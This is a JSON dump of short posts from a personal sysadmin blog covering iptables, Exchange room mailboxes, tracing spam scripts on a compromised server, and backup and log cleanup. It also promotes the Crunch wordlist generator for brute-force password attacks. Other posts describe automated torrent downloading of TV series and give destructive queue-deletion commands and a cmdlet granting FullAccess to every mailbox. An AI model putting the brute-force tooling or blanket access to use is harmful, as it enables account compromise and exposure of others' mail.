\u003c/code\u003e\u003c/p\u003e","title":"HTC One \"Un-Brick\" steps"},{"content":"I have an HP 6560b laptop with windows 8 installed. But HP driver support for Windows 8 is very very bad\u0026hellip; I don\u0026rsquo;t go too deep in to de details but the network driver, video driver, auto-update software (HPSoftpaq) and hardware support and sucks big time :X\nI bought a bluetooth speaker but the HP wireless assistant isn\u0026rsquo;t available for windows 8 so you can\u0026rsquo;t enable bluetooth. What you must do to get this working is reboot your laptop, press F10, and reset your BIOS to default.\nWhen you boot Windows you will see an bluetooth icon (out-of-the-box windows drivers are working fine :) )\n","permalink":"https://blog.wapnet.nl/2014/01/windows-8-bluetooth-and-hp-notebook/","summary":"\u003cp\u003eI have an HP 6560b laptop with windows 8 installed. But HP driver support for Windows 8 is very very bad\u0026hellip; I don\u0026rsquo;t go too deep in to de details but the network driver, video driver, auto-update software (HPSoftpaq) and hardware support and sucks big time :X\u003c/p\u003e\n\u003cp\u003eI bought a bluetooth speaker but the HP wireless assistant isn\u0026rsquo;t available for windows 8 so you can\u0026rsquo;t enable bluetooth. What you must do to get this working is reboot your laptop, press F10, and reset your BIOS to default.\u003c/p\u003e","title":"Windows 8 bluetooth and HP notebook"},{"content":"I copy/paste this howto from the debian wiki @ https://wiki.debian.org/iptables and add this to my blog to for fast finding the best iptables article on the net. Iptables provides packet filtering, network address translation (NAT) and other packet mangling.\nTwo of the most common uses of iptables is to provide firewall support and NAT.\nConfiguring iptables manually is challenging for the uninitiated. Fortunately, there are many configuration tools (wizards) available to assist: e.g., fwbuilder, bastille, ferm (wiki page), ufw (Uncomplicated Firewall, from Ubuntu).\nViewing current configuration See what rules are already configured. Issue this command:\niptables -L The output will be similar to this:\nChain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination This allows anyone access to anything from anywhere.\nStoring iptables rules in a file Note: there is a package designed to help with this: iptables-persistent\nLet\u0026rsquo;s tighten that up a bit by creating a test iptables file:\nnano /etc/iptables.test.rules In this file enter some basic rules:\n*filter # Allows all loopback (lo0) traffic and drop all traffic to 127/8 that doesn\u0026#39;t use lo0 -A INPUT -i lo -j ACCEPT -A INPUT ! -i lo -d 127.0.0.0/8 -j REJECT # Accepts all established inbound connections -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # Allows all outbound traffic # You could modify this to only allow certain traffic -A OUTPUT -j ACCEPT # Allows HTTP and HTTPS connections from anywhere (the normal ports for websites) -A INPUT -p tcp --dport 80 -j ACCEPT -A INPUT -p tcp --dport 443 -j ACCEPT # Allows SSH connections # THE -dport NUMBER IS THE SAME ONE YOU SET UP IN THE SSHD_CONFIG FILE -A INPUT -p tcp -m state --state NEW --dport 30000 -j ACCEPT # Now you should read up on iptables rules and consider whether ssh access # for everyone is really desired. Most likely you will only allow access from certain IPs. # Allow ping -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT # log iptables denied calls (access via \u0026#39;dmesg\u0026#39; command) -A INPUT -m limit --limit 5/min -j LOG --log-prefix \u0026#34;iptables denied: \u0026#34; --log-level 7 # Reject all other inbound - default deny unless explicitly allowed policy: -A INPUT -j REJECT -A FORWARD -j REJECT COMMIT That may look complicated, but look at each section at a time. You will see that it simply shuts all ports except the ones we have allowed - which in this case are ports 80 and 443 (the standard web browser ports) and the SSH port defined earlier.\nActivate these new rules:\niptables-restore \u0026lt; /etc/iptables.test.rules And see the difference:\niptables -L Now the output tells us that only the ports defined above are open. All the others are closed.\nOnce you are happy, save the new rules to the master iptables file:\niptables-save \u0026gt; /etc/iptables.up.rules To make sure the iptables rules are started on a reboot we\u0026rsquo;ll create a new file:\nnano /etc/network/if-pre-up.d/iptables or in the the if-up.d if the if-pre-up.d not work\nnano /etc/network/if-up.d/iptables Add these lines to it:\n#!/bin/bash /sbin/iptables-restore \u0026lt; /etc/iptables.up.rules The file needs to be executable so change the permissions:\nchmod +x /etc/network/if-pre-up.d/iptables ","permalink":"https://blog.wapnet.nl/2013/12/iptables-howto/","summary":"\u003cp\u003e\u003cem\u003eI copy/paste this howto from the debian wiki @ \u003ca href=\"https://wiki.debian.org/iptables\"\u003ehttps://wiki.debian.org/iptables\u003c/a\u003e and add this to my blog to for fast finding the best iptables article on the net.\u003c/em\u003e Iptables provides packet filtering, network address translation (NAT) and other packet mangling.\u003c/p\u003e\n\u003cp\u003eTwo of the most common uses of iptables is to provide firewall support and NAT.\u003c/p\u003e\n\u003cp\u003eConfiguring iptables manually is challenging for the uninitiated. Fortunately, there are many configuration tools (wizards) available to assist: e.g., \u003ca href=\"http://packages.debian.org/fwbuilder\" title=\"DebPkg\"\u003efwbuilder\u003c/a\u003e, \u003ca href=\"http://packages.debian.org/bastille\" title=\"DebPkg\"\u003ebastille\u003c/a\u003e, \u003ca href=\"http://packages.debian.org/ferm\" title=\"DebPkg\"\u003eferm\u003c/a\u003e (\u003ca href=\"https://wiki.debian.org/ferm\"\u003ewiki page\u003c/a\u003e), \u003ca href=\"http://packages.debian.org/ufw\" title=\"DebPkg\"\u003eufw\u003c/a\u003e (Uncomplicated Firewall, from Ubuntu).\u003c/p\u003e","title":"IPtables howto"},{"content":"When you reschedule appointments in a roombox you can get this error:\nYour meeting request was declined. It didn't specify an end date. The end date must be before x/x/xxxx.\nTo fix this start the Exchange Management Shell and set this commands:\nget-CalendarProcessing * |fl |findstr Roombox set-CalendarProcessing \u0026quot;Roommailbox\u0026quot; -EnforceSchedulingHorizon $false set-CalendarProcessing \u0026quot;Roommailbox\u0026quot; -BookingWindowInDays 1080\nAfter this cmdlet you can schedule the appointments more than the default 180 days.\n","permalink":"https://blog.wapnet.nl/2013/12/room-mailbox-your-meeting-request-was-declined/","summary":"\u003cp\u003eWhen you reschedule appointments in a roombox you can get this error:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eYour meeting request was declined. It didn't specify an end date. The end date must be before x/x/xxxx.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo fix this start the Exchange Management Shell and set this commands:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eget-CalendarProcessing  * |fl |findstr Roombox set-CalendarProcessing \u0026quot;Roommailbox\u0026quot; -EnforceSchedulingHorizon $false set-CalendarProcessing \u0026quot;Roommailbox\u0026quot; -BookingWindowInDays 1080\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAfter this cmdlet you can schedule the appointments more than the default 180 days.\u003c/p\u003e","title":"Room Mailbox - Your meeting request was declined"},{"content":"It\u0026rsquo;s can be hard to find a decent spotify playlist. I thought it must be possible to create a playlist from all of the yesterday tracks of my favourite dutch radio station 3FM. I will describe the steps you must take to create the playlist.\nThe software you need is notepad++. The editing in this article can be done with other editors also but notpad++ has a macro recorder to repeat some actions really quickly.\nFirst you need to find a website which have a full playlist from the radio station. I found one here http://nummerweten.nl/playlist/radio_3_fm_playlist\nThen you need to copy the list to you clipboard.\nPast the copied date in to notepad++\nStart the macro recorder an cut of all the garbage of the first line and hop to the second line. TIP: Use CRTL+SHIFT for the selections\nReplay the macro\nNow you have a clean list Go to www.ivyishere.org \u0026gt; import your playlist \u0026gt; click copy \u0026amp; past \u0026gt; past the new list in, select \u0026ldquo;Only include original performances\u0026rdquo;, select your country for better matching and press the upload button.\nNow let ivy to their magic\nClick on the image to copy the new playlist to your clipboard\nCreate a new spotify playlist and import the tracks with CTRL+V\nHappy listening :)\n","permalink":"https://blog.wapnet.nl/2013/11/create-a-spotify-playlist-from-your-favorite-radio-station/","summary":"\u003cp\u003eIt\u0026rsquo;s can be hard to find a decent spotify playlist. I thought it must be possible to create a playlist from all of the yesterday tracks of my favourite dutch radio station 3FM. I will describe the steps you must take to create the playlist.\u003c/p\u003e\n\u003cp\u003eThe software you need is \u003ca href=\"http://notepad-plus-plus.org/download\"\u003enotepad++\u003c/a\u003e. The editing in this article can be done with other editors also but notpad++ has a macro recorder to repeat some actions really quickly.\u003c/p\u003e","title":"Create a spotify playlist from your favorite radio station"},{"content":"Sometimes a website on a shared server is compromised by a hacker. Most of the time they use the website to spam the WWW around. It can be hard to find the specific script who is responsible for the spam. Here I will describe a method you can use to find and eliminate the script.\nFirst stop postfix to stop the mail flood\n# service stop postfix Now get the mailque and write down the message id (yellow)\n# mailq Get the message header\n# postcat -vq A9CC9182699 |more Now see the yellow text above. You have find the culprit. Now find the file location:\n# find /var/www/web/ -name *addwp.php*\nEliminate the process and patch the website.\nDelete the queue (USE THIS WITH CAUTION!!!!)\n# postsuper -d ALL\nAnd start postfix\n# service start postfix\nTo find and kill a spamming perl script try this:\nFind the process:\nlsof -i :25 readlink -f /proc/{PID of process}/exe kill PID Check and delete the (sendmail) QUEUE:\ncd /var/spool/mqueue/ ls nano queue file rm -f * It can be very difficult to find a specific perl spam script because the path is not always visible. To find the script do a locate and isolate/rename the files.\nlocate *.pl |grep /var/www/ For more commands see my blog article: /2014/04/linux-find-out-what-a-process-is-doing/\nI found another nice tool to find suspicious scripts: http://cbl.abuseat.org/findbot.pl\n","permalink":"https://blog.wapnet.nl/2013/11/show-spam-script-on-linux-webserver/","summary":"\u003cp\u003eSometimes a website on a shared server is compromised by a hacker. Most of the time they use the website to spam the WWW around. It can be hard to find the specific script who is responsible for the spam. Here I will describe a method you can use to find and eliminate the script.\u003c/p\u003e\n\u003cp\u003eFirst stop postfix to stop the mail flood\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# service stop postfix \u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNow get the mailque and write down the message id (yellow)\u003c/p\u003e","title":"Show spam script on linux webserver"},{"content":"I want the latest tvseries series automatically downloaded. There are plugins like couchpotato and sickbeard. Problem with these tools is that you must (semi) hack your synology nas to get this working.\nSynology has the option to download automatically trough RSS. So I did a dive in to this option and I worked it out for you ;)\nWhat do you need:\nSynology NAS ShowRSS account @ http://showrss.info (free) Some tv series that you like After you create an account at http://showrss.info select the series you want to download and click \u0026ldquo;Add to my list\u0026rdquo;\nAfter that click on the feeds button and select the type of RSS you want to generate. I like HD versions and I also want to download a proper repack when the first edition have some audio and video problems\nClick on generate and copy the RSS feed URL. (If you want to test the url and you use Firefox it looks like the feed is empty but when you use chrome instead you see the output.)\nNow login to your Synology NAS and open the download station. Click on RSS feeds and then on the blue plus button\nPaste the RSS feed URL in to the field and don\u0026rsquo;t press the download automatically option\nNow click on the download filter tab an click add. Fill in these fields:\nNow when the new tv series releases on the bittorent network your download started automatic .\nHave fun and don\u0026rsquo;t forget to click the donate button on the ShowRSS site if your like their website.\n","permalink":"https://blog.wapnet.nl/2013/11/automatically-download-series-with-rss-showrss-and-synology/","summary":"\u003cp\u003eI want the latest tvseries series automatically downloaded. There are plugins like couchpotato and sickbeard. Problem with these tools is that you must (semi) hack your synology nas to get this working.\u003c/p\u003e\n\u003cp\u003eSynology has the option to download automatically trough RSS. So I did a dive in to this option and I worked it out for you ;)\u003c/p\u003e\n\u003cp\u003eWhat do you need:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSynology NAS\u003c/li\u003e\n\u003cli\u003eShowRSS account @ \u003ca href=\"http://showrss.info\"\u003ehttp://showrss.info\u003c/a\u003e (free)\u003c/li\u003e\n\u003cli\u003eSome tv series that you like\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter you create an account at \u003ca href=\"http://showrss.info\"\u003ehttp://showrss.info\u003c/a\u003e select the series you want to download and click \u0026ldquo;Add to my list\u0026rdquo;\u003c/p\u003e","title":"Automatically download series with RSS (ShowRSS) and Synology"},{"content":" Click edit \u0026gt; Mass Edit \u0026gt; Monitor Properties \u0026ldquo;Add\u0026rdquo; Monitors where \u0026ldquo;property\u0026rdquo; \u0026ldquo;Type\u0026rdquo; (Object Type) Matches regular expression: \u0026ldquo;drive\u0026rdquo; Replace \u0026ldquo;Minimum Threshold\u0026rdquo; by \u0026ldquo;Overwrite\u0026rdquo;. Replace with: \u0026ldquo;10\u0026rdquo; Click \u0026ldquo;Preview\u0026rdquo; to ensure the proper values are being changed. Click \u0026ldquo;Next\u0026rdquo; ","permalink":"https://blog.wapnet.nl/2013/10/ipmonitor-mass-edit-disk-space-monitors/","summary":"\u003cul\u003e\n\u003cli\u003eClick edit \u0026gt; Mass Edit \u0026gt; Monitor Properties\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/10/ipmonitor-monitor-properties.png\"\u003e\u003cimg alt=\"ipmonitor - monitor properties\" loading=\"lazy\" src=\"/wp-content/uploads/2013/10/ipmonitor-monitor-properties.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u0026ldquo;Add\u0026rdquo; Monitors where \u0026ldquo;property\u0026rdquo; \u0026ldquo;Type\u0026rdquo; (Object Type) Matches regular  expression: \u0026ldquo;drive\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eReplace \u0026ldquo;Minimum Threshold\u0026rdquo; by \u0026ldquo;Overwrite\u0026rdquo;.  Replace with: \u0026ldquo;10\u0026rdquo;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/10/ipmonitor-mass-edit.png\"\u003e\u003cimg alt=\"ipmonitor - mass edit\" loading=\"lazy\" src=\"/wp-content/uploads/2013/10/ipmonitor-mass-edit.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eClick \u0026ldquo;Preview\u0026rdquo; to ensure the proper values are being changed.\u003c/li\u003e\n\u003cli\u003eClick \u0026ldquo;Next\u0026rdquo;\u003c/li\u003e\n\u003c/ul\u003e","title":"IPMonitor Mass-Edit Disk Space Monitors"},{"content":"Create a zenoss user cron\nsudo crontab -u zenoss -e\nUse this lines to backup every day 10 AM.\nHISTFILE=/home/zenoss/.bash_history HOME=/home/zenoss INSTANCE_HOME=/opt/zenoss LD_LIBRARY_PATH=/opt/zenoss/lib LOGNAME=zenoss MAIL=/var/spool/mail/zenoss PATH=/opt/zenoss/bin:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/zenoss/bin PWD=/home/zenoss PYTHONPATH=/opt/zenoss/lib/python USER=zenoss ZENHOME=/opt/zenoss 30 10 * * * /opt/zenoss/bin/zenbackup -v10\nNote: When I not put the variables to the cron I get this error: ERROR: $ZENHOME is not set. This is usually caused by executing this command as root rather than as the zenoss user. Either define $ZENHOME or run this command as a different user.\nBecause I can\u0026rsquo;t find a nice solution on the internet I fix it to add the SET lines to the cron.\nCreate a cleanup job\nsudo crontab -e\nUse this line to cleanup the backups every sunday 12 AM\n00 12 * * 7 root /usr/bin/find /opt/zenoss/backups -mtime +30 -type f -exec rm \\{\\} \\;\n","permalink":"https://blog.wapnet.nl/2013/10/zenoss-backups/","summary":"\u003cp\u003eCreate a zenoss user cron\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esudo crontab -u zenoss -e\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eUse this lines to backup every day 10 AM.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eHISTFILE=/home/zenoss/.bash_history HOME=/home/zenoss INSTANCE_HOME=/opt/zenoss LD_LIBRARY_PATH=/opt/zenoss/lib LOGNAME=zenoss MAIL=/var/spool/mail/zenoss PATH=/opt/zenoss/bin:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/zenoss/bin PWD=/home/zenoss PYTHONPATH=/opt/zenoss/lib/python USER=zenoss ZENHOME=/opt/zenoss 30 10 * * * /opt/zenoss/bin/zenbackup -v10\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNote: When I not put the variables to the cron I get this error:\n\u003ccode\u003eERROR: $ZENHOME is not set. This is usually caused by executing this command as root rather than as the zenoss user. Either define $ZENHOME or run this command as a different user.\u003c/code\u003e\u003c/p\u003e","title":"Zenoss Backups"},{"content":"Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations.\nFeatures crunch generates wordlists in both combination and permutation ways it can breakup output by number of lines or file size now has resume support pattern now supports number and symbols pattern now supports upper and lower case characters separately adds a status report when generating multiple files new -l option for literal support of @,%^ new -d option to limit duplicate characters see man file for details now has unicode support See the sourceforge project: crunch - wordlist generator\n","permalink":"https://blog.wapnet.nl/2013/10/crunch-wordlist-password-generator-for-brute-force/","summary":"\u003cp\u003eCrunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations.\u003c/p\u003e\n\u003ch2 id=\"features\"\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ecrunch generates wordlists in both combination and permutation ways\u003c/li\u003e\n\u003cli\u003eit can breakup output by number of lines or file size\u003c/li\u003e\n\u003cli\u003enow has resume support\u003c/li\u003e\n\u003cli\u003epattern now supports number and symbols\u003c/li\u003e\n\u003cli\u003epattern now supports upper and lower case characters separately\u003c/li\u003e\n\u003cli\u003eadds a status report when generating multiple files\u003c/li\u003e\n\u003cli\u003enew -l option for literal support of @,%^\u003c/li\u003e\n\u003cli\u003enew -d option to limit duplicate characters see man file for details\u003c/li\u003e\n\u003cli\u003enow has unicode support\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee the sourceforge project: \u003ca href=\"http://sourceforge.net/projects/crunch-wordlist/\"\u003ecrunch - wordlist generator\u003c/a\u003e\u003c/p\u003e","title":"Crunch - wordlist / password generator for brute force"},{"content":"Sometimes your memory is full and youu can find the reason. 99/100 times the cause is that all your RAM is used for disk cache. This is an standard linux feature. With this command you can free your disk cache.\necho 3 | sudo tee /proc/sys/vm/drop_caches\nvia Experiments and fun with the Linux disk cache.\n","permalink":"https://blog.wapnet.nl/2013/10/linux-clear-disk-cache-from-ram/","summary":"\u003cp\u003eSometimes your memory is full and youu can find the reason. 99/100 times the cause is that all your RAM is used for disk cache. This is an standard linux feature. With this command you can free your disk cache.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eecho 3 | sudo tee /proc/sys/vm/drop_caches\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003evia \u003ca href=\"http://www.linuxatemyram.com/play.html\"\u003eExperiments and fun with the Linux disk cache\u003c/a\u003e.\u003c/p\u003e","title":"Linux clear disk cache from RAM"},{"content":"[PS] C:\\\u0026gt;Set-CalendarProcessing \u0026#34;Conference Room 1\u0026#34; -AutomateProcessing AutoAccept Or:\nvia Exchange Server 2010 Room Mailboxes Step by Step Guide.\n","permalink":"https://blog.wapnet.nl/2013/10/configure-the-room-mailbox-auto-attendant/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[PS] C:\\\u0026gt;Set-CalendarProcessing \u0026#34;Conference Room 1\u0026#34; -AutomateProcessing AutoAccept\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOr:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/10/exchange-2010-configure-room-mailbox-02.png\"\u003e\u003cimg alt=\"exchange-2010-configure-room-mailbox-02\" loading=\"lazy\" src=\"/wp-content/uploads/2013/10/exchange-2010-configure-room-mailbox-02.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003evia \u003ca href=\"http://exchangeserverpro.com/exchange-server-2010-room-mailboxes-step-by-step-guide/\"\u003eExchange Server 2010 Room Mailboxes Step by Step Guide\u003c/a\u003e.\u003c/p\u003e","title":"Configure the Room Mailbox Auto-Attendant"},{"content":"For X forwarding from windows to linux over SSH you can use Xming. This is ideal for a raspberry or other linux system without display. Howto:\n","permalink":"https://blog.wapnet.nl/2013/10/xming-x-server-for-windows/","summary":"\u003cp\u003e\u003ca href=\"http://www.straightrunning.com/XmingNotes/\"\u003eFor X forwarding from windows to linux over SSH you can use Xming. This is ideal for a raspberry or other linux system without display.\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2013/10/xming.png\"\u003e\u003cimg alt=\"xming\" loading=\"lazy\" src=\"/wp-content/uploads/2013/10/xming.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHowto:\u003c/p\u003e\n\u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n\t\t\t\u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/D-xV5HRBtQI?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n\t\t\u003c/div\u003e","title":"Xming X Server for Windows"},{"content":"Nice video to change the wordpress header\n","permalink":"https://blog.wapnet.nl/2013/10/how-do-i-change-the-header-for-the-twenty-thirteen-theme-in-wordpress/","summary":"\u003cp\u003e\u003ca href=\"http://www.youtube.com/watch?v=Zdkq0YQiH4I\"\u003eNice video to change the wordpress header\u003c/a\u003e\u003c/p\u003e","title":"How do I change the header for the Twenty Thirteen theme in WordPress?"},{"content":"dd bs=1M count=256 if=/dev/zero of=test conv=fdatasync\nif the results are too fast try:\ndd bs=1M count=1024 if=/dev/zero of=test conv=fdatasync\nSource: http://romanrm.ru/en/dd-benchmark\n","permalink":"https://blog.wapnet.nl/2013/09/linux-io-write-disk-test/","summary":"\u003cp\u003e\u003ccode\u003edd bs=1M count=256 if=/dev/zero of=test conv=fdatasync\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eif the results are too fast try:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edd bs=1M count=1024 if=/dev/zero of=test conv=fdatasync\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eSource: \u003ca href=\"http://romanrm.ru/en/dd-benchmark\"\u003ehttp://romanrm.ru/en/dd-benchmark\u003c/a\u003e\u003c/p\u003e","title":"Linux IO write disk test"},{"content":"If you want to create a Cisco lab use GNS3.\n","permalink":"https://blog.wapnet.nl/2013/09/cisco-lab/","summary":"\u003cp\u003eIf you want to create a Cisco lab use \u003ca href=\"http://www.gns3.net\"\u003eGNS3\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/09/GNS3-setup.png\"\u003e\u003cimg alt=\"GNS3 setup\" loading=\"lazy\" src=\"/wp-content/uploads/2013/09/GNS3-setup.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Cisco lab"},{"content":"I have tried a couple of mindmap software products.\nIf you want a basic but fast Mindmap program try XMind. The basic version is free and works very good. The full version is $99\nIf you have some money to spend try iMindmap 6 for €190,-\n","permalink":"https://blog.wapnet.nl/2013/09/mindmap-software/","summary":"\u003cp\u003eI have tried a couple of mindmap software products.\u003c/p\u003e\n\u003cp\u003eIf you want a basic but fast Mindmap program try \u003ca href=\"http://www.xmind.net/\"\u003eXMind\u003c/a\u003e. The basic version is free and works very good. The full version is $99\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/09/RTEmagicP_captura-xmind-1.jpg\"\u003e\u003cimg alt=\"RTEmagicP_captura-xmind-1\" loading=\"lazy\" src=\"/wp-content/uploads/2013/09/RTEmagicP_captura-xmind-1.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIf you have some money to spend try \u003ca href=\"http://thinkbuzan.com/\"\u003eiMindmap 6\u003c/a\u003e for €190,-\u003c/p\u003e\n\u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n\t\t\t\u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/Nh3rvyHIimc?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n\t\t\u003c/div\u003e","title":"Mindmap software"},{"content":" start powershell set-executionpolicy remotesigned Create a script with notepad get-childitem -Path C:\\inetpub\\logs\\LogFiles -recurse | where-object {$_.lastwritetime -lt (get-date).addDays(-90)} | Foreach-Object { del $_.FullName } Save the script @ c:\\scripts\\del_old_logs.ps1 start cmd run: powershell.exe c:\\scripts\\del_old_logs.ps1 -noprofile -Noninteractive If you get a \u0026ldquo;child\u0026rdquo; question press A Start task scheduler Schedule the task program powershell c:\\scripts\\del_old_logs.ps1 -noprofile -Noninteractive Run the task wheter user is logged on or not Highest privileges not needed ","permalink":"https://blog.wapnet.nl/2013/09/iis-7-and-7-5-rotate-all-logging/","summary":"\u003cul\u003e\n\u003cli\u003estart powershell\u003c/li\u003e\n\u003cli\u003eset-executionpolicy remotesigned\u003c/li\u003e\n\u003cli\u003eCreate a script with notepad\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eget-childitem -Path C:\\inetpub\\logs\\LogFiles -recurse |\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewhere-object {$_.lastwritetime -lt (get-date).addDays(-90)} |\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eForeach-Object { del $_.FullName }\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eSave the script @ c:\\scripts\\del_old_logs.ps1\u003c/li\u003e\n\u003cli\u003estart cmd\u003c/li\u003e\n\u003cli\u003erun: powershell.exe c:\\scripts\\del_old_logs.ps1  -noprofile -Noninteractive\u003c/li\u003e\n\u003cli\u003eIf you get a \u0026ldquo;child\u0026rdquo; question press A\u003c/li\u003e\n\u003cli\u003eStart task scheduler\u003c/li\u003e\n\u003cli\u003eSchedule the task\u003c/li\u003e\n\u003cli\u003eprogram powershell\u003c/li\u003e\n\u003cli\u003ec:\\scripts\\del_old_logs.ps1  -noprofile -Noninteractive\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/09/Sheduled-Task.png\"\u003e\u003cimg alt=\"Sheduled Task\" loading=\"lazy\" src=\"/wp-content/uploads/2013/09/Sheduled-Task.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRun the task wheter user is logged on or not\u003c/li\u003e\n\u003cli\u003eHighest privileges \u003cstrong\u003enot needed\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"IIS 7 and 7.5 rotate all logging"},{"content":" Download the ExFolders tools Extract the tool Place the tool in de Exchange Bin folder Run the reg in the zip Run the tool Click File , and then click Connect Click Tools , and then click Set Calendar Permissions . In the new window, click Add , and then select Everyone . Click OK to confirm. Back in the Permissions window, click \\Everyone , and select the appropriate permissions that you want to add. Click OK to begin setting permissions. No warning screen will appear, permissions will be set immediately. When the Percentage complete box has reached 100, you can safely close the window. All permissions are set on everyone’s calendar. If you get the error: Error: Logged-on user does not have FullAccess to this mailbox\u0026quot; in ExFolders run the following cmdlet in the exchange shell:\nGet-Mailbox | Add-MailboxPermission -User [username] -AccessRights FullAccess –InheritanceType All\n","permalink":"https://blog.wapnet.nl/2013/09/global-sharing-of-calendars-in-exchange-2010/","summary":"\u003cul\u003e\n\u003cli\u003eDownload the ExFolders tools\u003c/li\u003e\n\u003cli\u003eExtract the tool\u003c/li\u003e\n\u003cli\u003ePlace the tool in de Exchange Bin folder\u003c/li\u003e\n\u003cli\u003eRun the reg in the zip\u003c/li\u003e\n\u003cli\u003eRun the tool\u003c/li\u003e\n\u003cli\u003eClick File , and then click Connect\u003c/li\u003e\n\u003cli\u003eClick Tools , and then click Set Calendar Permissions .\u003c/li\u003e\n\u003cli\u003eIn the new window, click Add , and then select Everyone . Click OK to confirm.\u003c/li\u003e\n\u003cli\u003eBack in the Permissions window, click \\Everyone , and select the appropriate permissions that you want to add.\u003c/li\u003e\n\u003cli\u003eClick OK to begin setting permissions. No warning screen will appear, permissions will be set immediately.\u003c/li\u003e\n\u003cli\u003eWhen the Percentage complete box has reached 100, you can safely close the window. All permissions are set on everyone’s calendar.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you get the error: \u003cem\u003eError: Logged-on user does not have FullAccess to this mailbox\u0026quot; in ExFolders\u003c/em\u003e run the following cmdlet in the exchange shell:\u003c/p\u003e","title":"Global sharing of calendars in exchange 2010"},{"content":" Start SQL Server Surface Area Configuration \u0026gt; Remote connections Select \u0026ldquo;using both TCP/IP and named pipes\u0026rdquo; Start \u0026ldquo;SQL Server Configuration Manager\u0026rdquo; Find out the dynamic port Now connect to the SQL server from a remote server: HOSTNAMESERVER\\MSSQL$SQLEXP_VIM,49382 